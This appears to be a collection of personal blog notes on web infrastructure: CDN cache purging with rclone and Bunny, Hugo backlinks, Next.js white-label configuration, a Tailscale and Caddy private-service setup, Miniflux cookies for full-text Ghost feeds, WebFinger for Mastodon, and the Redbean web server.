I want to cache HTML in Bunny’s content delivery network (CDN). Unlike other static files, HTML filenames cannot be hashed1 or they’d be served with ugly urls. I need a way to invalidate the cache granularly when the site is published.

When I publish this note, the corresponding HTML file is uploaded to Bunny’s file storage. This file is automatically replicated to Bunny’s file storage regions throughout the world and served by the CDN. HTML files are not cached by the CDN, so each request to this note is retrieved from the nearest file storage region.

For example, if someone visits this page from Santiago, Chile, the HTML will be retrieved from the file storage region in São Paulo, Brazil. However, Bunny has several points of presence (PoP) that are closer to this person, including one in Santiago. The other static files are likely being served from there, so why not do HTML too?

Once published, this page will likely remain unchanged for a long time. Unless I edit it, or change its styling, this page can be cached indefinitely in Bunny’s 123 PoPs around the globe. When the page needs updating, I can purge the cache granularly.

In this note I’m skipping the part of configuring my CDN to cache HTML, which has some caveats which I’ll explain in a separate note. For now all you need to know is that HTML is cached in the CDN but not in the browser.

Knowing which cache to invalidate

A new set of files is generated each time this site is built using Hugo. I then use Rclone to upload these files to Bunny’s file storage.

Rclone has a check command that I can use to compare my new set of files against those in Bunny’s file storage. It can also generate a manifest of the files that are different in the destination.

Here’s the command:

$ rclone check ./public garrido.io: \
 --differ purgelist \
 --one-way \
 --include "*.html"

• --differ takes a filename where the list of different files will be saved at
• --include "*.html" limits the check to just HTML files
• --one-way assumes files in the destination do exist in the source
• --download checks the data of both files during the check, as hash comparison is not supported in Bunny’s storage

Suppose I’m updating my /about page. This page is already live and cached in the PoPs where a request for /about has been routed through.

Once I’m ready to publish the changes, I build the new version of the site and run the command. Inspecting purgelist tells me that the about/index.html in the file storage is different and will be updated when I upload the new build:

$ cat purgelist
about/index.html

Invalidating the cache

Bunny has an API that I can use to purge cache in the CDN. Following the example above, I need to tell it to purge https://garrido.io/about/.

I wrote a small script that loops through the purgelist file, formats each file path as its URL equivalent, and sends a request to Bunny’s API.

This script is invoked after I finish uploading the new files to the Bunny’s file storage. The cache is immediately purged throughout Bunny’s CDN and the update is now live.

What else?

You can use this approach to fully cache your page. Other types of files that would need the same cache purging are:

• robots.txt
• sitemap.xml
• RSS/Atom *.xml feeds
• *.json

In other words, any content whose URL remains constant across updates.

---

1. CSS, JavaScript, SVGs and images have unique filenames based on their contents. Cache does not need to be invalidated for these because changing them means adding a new file to the CDN. In contrast, each page’s file is named index.html and changing it means modifying the file. ↩︎

Update: I dropped this approach in favor of a custom Go tool that parses the content directory and generates the internal links graph. The approach described below should still work, assuming Hugo’s interface has not changed signficantly.

As of today, some pages on this site surface any other internal page where they are cross-referenced. If you’ve used a tool like Obsidian, you’ll know how useful backlinks are to navigate related content. The joys of hypertext!

Hugo does not generate or expose backlinks out of the box. Instead, you must compute the references on each page as it is being built.

This approach considers the following constraints:

• Only links in the markdown content are eligible
• All content pages are eligible
• Links use Hugo’s ref and relref shortcodes
• No explicit front-matter is required
• Anchors within the same page (e.g {{< ref "#anchor" >}}) are not considered backlinks
• Multiple languages are not considered

For example, you can go to my /about page and see the various pages that reference it, including this one. When this page is built, all other pages are inspected. If a page’s content has [/now]({{< ref "/now" >}} in its content, it will be matched.

Create a inbound-links.html file in your theme’s layouts/partials/ directory with the following markup. Then, instantiate it in any template where you want to show backlinks using {{ partial "inbound-links" . }}.

{{ $this := . }}
{{ $links := slice }}
{{ $regex := `{{\s*<\s*(?:ref|relref)\s*"(.*?)(#.*?)?"\s*>}}` }}

<!-- Iterate all pages -->
{{ range $.Site.Pages }}
 {{ $page := . }}

 <!-- Match the `ref` shortcode -->
 {{ $matches := findRESubmatch $regex $page.RawContent }}

 {{ with $matches }}
 {{ range . }}
 {{ $ref := index . 1 }}
 <!-- Compare permalinks -->
 {{ with $.Site.GetPage $ref }}
 {{ $inbound := . }}
 {{ if eq $inbound.Permalink $this.Permalink }}
 <!-- Avoid duplicates -->
 {{ if not (in $links $page)}}
 {{ $links = $links | append $page }}
 {{ end }}
 {{ end }}
 {{ end }}
 {{ end }}
 {{ end }}
{{ end }}

<!-- Render inbound links -->
{{ with $links }}
 <ul>
 <!-- Oldest backlinks first -->
 {{ range sort . "Date" }}
 <li>
 <a href="{{ .Permalink }}">{{ .Title }}</a>
 </li>
 {{ end }}
 </ul>
{{ end }}

I did some light testing and the following references are supported using ref:

• {{< ref "now" >}}
• {{< ref "/now" >}}
• {{< ref "/now#fragment" >}}
• {{< ref "/now.md" >}}
• {{< ref "/now.md#fragment" >}}

For relative references using relref, supposing I’m a content/notes/ page:

• {{< relref "re-walking-zelda" >}}
• {{< relref "/re-walking-zelda" >}}
• {{< relref "/re-walking-zelda#fragment" >}}
• {{< relref "/re-walking-zelda.md#fragment" >}}

For page bundles, these work:

• {{< ref "/notes/adding-webfinger" >}}
• {{< ref "/notes/adding-webfinger/index" >}}
• {{< ref "/notes/adding-webfinger/index.md" >}}
• {{< ref "/notes/adding-webfinger/index.md#fragment" >}}
• {{< relref "/adding-webfinger" >}}

I wish Hugo had better affordances to accomplish this type of tasks. Until then, you must bear with adding logic to your templates and O(n^2).

I recently refactored a Next.js single-page application to support white-labeled deployments. No requirements called for pulling and defining the configuration at runtime. Instead, the configuration is pulled once at build time and saved to the project root as a JSON file.

This configuration is referred to both during the build and at runtime. For example, at build time the configuration is used to define a color scheme in Tailwind’s configuration file. At runtime, the configuration is used to set the logo URL in the page header.

Without the corresponding setup, referring to this configuration in the runtime modules results in two issues:

• The module does not exist within the src directory so importing it raises an error
• The module has no type information so Typescript will raise an error when referring to its contents

I’m going to gloss over the part of pulling the configuration file from its source during the build. Assume the configuration has been fetched and stored in a temporary settings.json file in the project root directory in the CI environment.

Aliasing the module

The first issue is addressed using the aliasing feature that exists in most front-end tools like Webpack, Rollup and esbuild. This feature allows you to specify how a given module is resolved.

In my case I wanted the JSON file to exist in the dependency graph as a white-label-config module. This would allow me to import the configuration anywhere at runtime like:

// src/components/ThemeContextProvider.tsx
import { logo } from "white-label-config"

Next.js uses Webpack to build the application. To create an alias, you can add custom configuration to the next.config.js file:

// next.config.js
const path = require("path")
const settingsFilePath = path.resolve(__dirname, "settings.json")

module.exports = {
 webpack: config => {
 config.resolve.alias["white-label-config"] = settingsFilePath
 return config
 }
}

Adding types

Now we need to provide type information for the configuration module. I created a src/modules.d.ts file in the src directory with the following:

interface WhiteLabelConfig {
 logo: string
 name: string
 colors: {
 primary: string
 secondary: string
 }
}

declare module "white-label-config" {
 const config: WhiteLabelConfig
 export default config
}

The include option of the Typescript configuration file is set to ["src"] so this type information will be included by the Typescript compiler. At this point, the module should have the appropriate types.

Validating at build time

I want to make sure that the configuration file is valid before building the application. Using zod, I define a schema and validate the contents of the configuration JSON before running the build:

// prebuild.js
const { z } = require("zod")
const settings = require("./settings.json")

const schema = z.object({
 name: z.string(),
 logo: z.string().url(),
 colors: {
 primary: z.string(),
 secondary: z.string()
 }
})

try {
 schema.required().parse(settings)
} catch (err) {
 process.stderr.write(err.message)
 process.exit(1)
}

I use a virtual private server to host multiple services that are accessed only by me. Instead of exposing these services to the public internet, I use Tailscale to access them privately through my Tailscale network.

There are several ways in which I can access these services through Tailscale. I have settled on an approach involving a custom domain, proper TLS certificates, and without opening the server to the public internet1.

Assuming I’m connected to Tailscale, I can do the following on any of my devices:

• Access my RSS reader at https://rss.example.com
• Fetch my calendars and address books at https://cal.example.com
• Pull code from my private git repositories at https://git.example.com

In this note I’ll share the different ways in which I’ve used Tailscale for this to explain why I prefer the current approach. Jump ahead if you care only about this particular implementation.

For the sake of this post, lets pretend my server’s tailnet IP address is 100.102.30.40, and that the custom domain that I own is example.com.

Binding the service to the tailnet IP

The easiest way to reach a service within the Tailscale network is expose it directly on the server’s tailnet IP address.

For example, if I’m using Docker I can publish the container’s port like:

$ docker run -p 100.102.30.40:8000:8080 docker.io/miniflux/miniflux

Once running, I can reach my RSS reader at http://100.102.30:40:8000. If MagicDNS is enabled, I can reach it at my server’s machine name (e.g http://vps:8000).

In this approach I’m accessing the service using HTTP. This is not much of a problem because all connections between devices through the tailnet are end-to-end encrypted. However, the browser doesn’t know about this and warns me accordingly:

Besides the fact that I prefer to run services behind a reverse proxy, a drawback with this approach is that I’d rather not have to remember the port assigned to each service.

Using Tailscale serve

Serve is Tailscale’s way of exposing a local service to all other devices in the tailnet. Unlike the previous approach, this method supports TLS certificates. However, Tailscale’s HTTPS certificates feature must be turned on.

To use serve I publish my container’s port to localhost instead:

$ docker run -p 127.0.0.1:8000:8080 docker.io/miniflux/miniflux

I can reach my RSS reader at https://vps.<my-tailnet-name>.ts.net/ by running tailscale serve localhost:8000 on the server.

The drawback here is that I only get one domain per device and I cannot use subdomains. I have to use subpaths if I want to expose multiple services at once.

For example, by running tailscale serve --set-path rss localhost:8000 the RSS reader is served at https://vps.<my-tailnet-name>.ts.net/rss/.

The drawback with the subpath approach is that it typically implies having to reconfigure the base URL for each service.

Custom domain and a reverse proxy

Having used the other approaches, I wanted to use a custom domain to isolate each service with subdomains. Likewise, I wanted run the webserver myself in order to consolidate the ingress behavior and configuration.

The main component of this approach is to configure the tailnet with a DNS server that will resolve queries for the custom domain with a tailnet IP address.

Custom domain

I had an unused domain in Porkbun that I decided to repurpose for this. All I had to do here was generate API credentials and enable API access for the domain.

NextDNS rewrites

In Tailscale you can configure your tailnet to use a specific nameserver. In my case, I chose NextDNS as I was already using it2 and Tailscale supports it out of the box.

In NextDNS I created a new profile just for my tailnet and added a Rewrite for my custom domain in the Settings page. The domain will resolve to my server’s tailnet IP address.

Lastly, I noted the endpoint ID shown in the Endpoints section of the Setup page.

Tailnet DNS server

Back in the Tailscale admin console, I went to the Nameservers section of the DNS settings page, pressed Add nameserver and selected NextDNS. In the endpoint input, I entered the NextDNS profile endpoint ID.

Once added, I enabled the Override local DNS option.

At this point, DNS lookups for the custom domain in any of the tailnet devices resolved correctly.

$ dig +short example.com
100.102.30.40

Webserver

Lastly, I installed and configured Caddy on the server.

I created a snippet in the Caddy configuration file that I could reuse across all of my hosts. This snippet is responsible for:

• Binding the corresponding host to the tailnet IP so that the hosts are reachable only at the tailnet address
• Rejecting requests made from outside the tailnet address space
• Configuring TLS using a DNS challenge with Porkbun

Caddy does not support all of the available DNS providers out of the box so I had to build3 the Caddy binary with the porkbun module.

I included the server’s tailnet IP address and the API credentials that I generated in Porkbun in Caddy’s env file. I also set the certificate resolver to 1.1.1.1.

Lastly, I included my email address in the email global directive to be used for the issued certificates.

At this point, I was good to go. Anytime I want to add a new hosted service I add a couple of lines to the Caddyfile that includes the snippet and defines the reverse proxy.

The complete Caddyfile:

{
 log {
 output file /var/log/caddy/access.log
 }
 email inbox@example.com
}

(ts_host) {
 bind {env.TAILNET_IP}

 @blocked not remote_ip 100.64.0.0/10

 tls {
 resolvers 1.1.1.1
 dns porkbun {
 api_key {env.PORKBUN_API_KEY}
 api_secret_key {env.PORKBUN_API_PASSWORD}
 }
 }

 respond @blocked "Unauthorized" 403
}

rss.example.com {
 import ts_host
 reverse_proxy localhost:8000
}

cal.example.com {
 import ts_host
 reverse_proxy localhost:8010
}

git.example.com {
 import ts_host
 reverse_proxy localhost:8020
}

Parting thoughts

I should note that I can swap any of the components in this implementation for an alternative:

• Traefik instead of Caddy for the webserver
• Hosting CoreDNS instead of the cloud offering of NextDNS
• Wireguard instead of Tailscale

Will Norris of Tailscale has a great article on a different approach to this setup.

---

1. There are no public DNS records pointing to this server, and a firewall blocks all incoming connections except those made through the Tailscale interface. ↩︎

2. I use NextDNS to block ads at the network level in my router. ↩︎

3. I use Ansible to manage my server, and the caddy-ansible role makes it trivial to add modules to your Caddy binary. ↩︎

I follow a handful of Ghost-powered sites that don’t serve their articles fully in their RSS feed. Most of the time this is because an article requires a paid or free subscription to be read. This turns out to be a nuisance as I prefer to read things using an RSS reader.

For example, 404 Media’s recent article on celebrity AI scam ads in Youtube ends abruptly in my RSS reader. If I want to read the entire article then I am expected to visit their site, log in, and read it there.

Update: In March 2024, 404 Media introduced full text RSS feeds for paid subscribers. If you’re not a paid subscriber, this note is still relevant if you wish to read free articles in full-text via RSS for any Ghost blog out there.

Miniflux to the rescue

Miniflux is a minimal RSS reader and client that I self-host. I like to use it with NetNewsWire on my iPad so that I can process and read articles in batches while offline.

One of my favorite features in Miniflux is the ability to set cookies for any feed that you’re subscribed to. You can use this to have Miniflux pull the feed content as if you were authenticated1 in websites that use cookies to maintain the user’s session.

Ghost uses cookies to keep users authenticated for at least six months. A Ghost-powered site will respond with a different RSS feed depending on who is making the request. If you’re logged in and your subscription is valid for the article at hand, you get the entire article. If you’re not logged in or if don’t have the appropriate subscription, you get the abbreviated article.

This is great! I can continue to support the publisher that I’m subscribed to while retaining control over my reading experience.

Configuring the feed

1. Open your browser, visit the Ghost-powered site that you’re following, and log in.
2. Open your browser’s developer tools and head to the storage section (under “Application” in Chromium-based browsers, “Storage” in Firefox and Safari).
3. Look for the cookies section and locate the Ghost-powered site.
4. Look for the ghost-members-ssr.sig and ghost-members-ssr cookies.

1. Back in Miniflux, head to the Feeds page and press Add feed and enter the site’s URL.
2. Toggle the Advanced Options dropdown,look for the Set Cookies field and add the following string: ghost-members-ssr=<value of cookie>; ghost-members-ssr.sig=<value of cookie>;. Replace <value of cookie> with the corresponding value that you see in the browser’s cookie jar for each cookie.

1. Press Find a feed.

At this point Miniflux should find the RSS feed automatically and configure it accordingly. If you’ve already added the feed before you don’t need to remove and add the feed again. Instead, go to the feed settings page, add the cookie, and click Refresh to force Miniflux to re-fetch the feed.

Cookie expiration

I didn’t read enough of Ghost’s code to verify whether they refresh the authentication cookies every once in a while. That said, the cookie’s expiration time is long enough that I’d be find with having to replace them once every six months if necessary.

---

1. Anyone with access to these cookies can impersonate your account in the corresponding website. I self-host Miniflux so no one has access to the Miniflux database but me. If you pay for Miniflux then you’ll want to make sure you feel comfortable trusting them with your account cookies. I wouldn’t be too worried but you should be aware of this fact. ↩︎

Mastodon supports WebFinger to find a Mastodon account by searching for an email address. This is helpful if you’re looking for someone but you don’t know what server they’re in.

Why?

I recently migrated my Mastodon account to a different server. Mastodon does as much as possible to make this a smooth process. It allows you to move over your followers, followings, and some other things. It also allows you to redirect from the old account to the new one so people can follow you around. Great!

I figured this was a good time to add WebFinger to the mix. I can now be found by searching for hello@garrido.io, regardless of what server I’m in.

This works because Mastodon will perform a look up to https://garrido.io/.well-known/webfinger?resource=acct:hello@garrido.io, which contains the necessary information to resolve the account.

Implementation

First, you must obtain the data contained by the WebFinger. In my case that meant visiting https://social.coop/.well-known/webfinger?resource=acct:ggpsv@social.coop. You can replace social.coop with your Mastodon server domain, and ggpsv with your Mastodon account name.

Next up, you must serve this data under ./well-known/webfinger. If you need to resolve a different Webfinger per searched email, you can do that too. Mastodon will send the email as a query parameter1.

In my case, I’m the only Mastodon user for this domain so I will respond to all requests with the same response. I’m using Hugo for this site, which means that I can add this as a static file.

I added the following configuration to my Hugo config.toml file:

staticDir = ['static']

This instructs Hugo to include static as a source of static files. Then, I created ./well-known/webfinger inside the static directory and then pasted the data that I received above.

Because this site is completely static, all that is left for me is to build the site and upload it to my server. My web server will then return this file to any requests made for ./well-known/webfinger.

---

Edit 15 November 2023

It was brought up to me that it wasn’t clear whether the searched email matters or not. I’ve updated the post to address this.

---

1. This is helpful in cases where there are multiple Mastodon users for a given domain. If so, your web server would need to look up the requested email and return the matching WebFinger or a 404. ↩︎

I recently learned about Redbean, a single-file distributable web server authored by Justine Tunney.

redbean is an open source webserver in a zip executable that runs on six operating systems. The basic idea is if you want to build a web app that runs anywhere, then you download the redbean.com file, put your .html and .lua files inside it using the zip command, and then you’ve got a hermetic app you can deploy and share.

If the above sounds like magic that’s because it kind of is. Zip a directory of files, execute it, and you get the following running out of the box, across six operating systems:

• A fast static-file server
• Support for Lua scripts
• Embedded SQLite
• Integrated SSL support
• HTTP/HTTPS client
• Crypto and password hashing
• DDOS protection

It doesn’t get any easier than this if you’re hosting a static website on a server. Generate some SSL certificates using cerbot, bind Redbean to port 80/443 and off you go!

Fullmoon

Paul Kulchenko authored Fullmoon, a zero depedency web framework based on Redbean. With it, you get:

• Routing, redirects
• Templating
• Streamed responses
• Cookies/Sessions
• Form validation
• Cron syntax
• DB management with migrations

This is quite incredible. You can use this to build full-fledged web application.

The vertically integrated web server

A typical webapp using PHP, Python, or Node.js requires you to put a webserver like NGINX in front of it. This separation of concerns makes sense for many reasons, but it still represents extra complexity and overhead. A seasoned engineer might not fret, but less experienced developers tend to struggle here.

A web server like Caddy bridges this gap for certain use cases. Its built-in support for templated responses and custom plugins may allow you to forego a backend for dynamic responses. Yet, you’ll quickly hit the limits of what you can do as it is still first and foremost a web server.

What excites me about Redbean and Fullmoon is that you get a vertically integrated web server and web application. Of course, there are many other considerations to account for a serious project but this makes sense for a lot of projects out there. Throw in htmx to the mix and you get an accessible, minimal yet capable stack that is easy to deploy.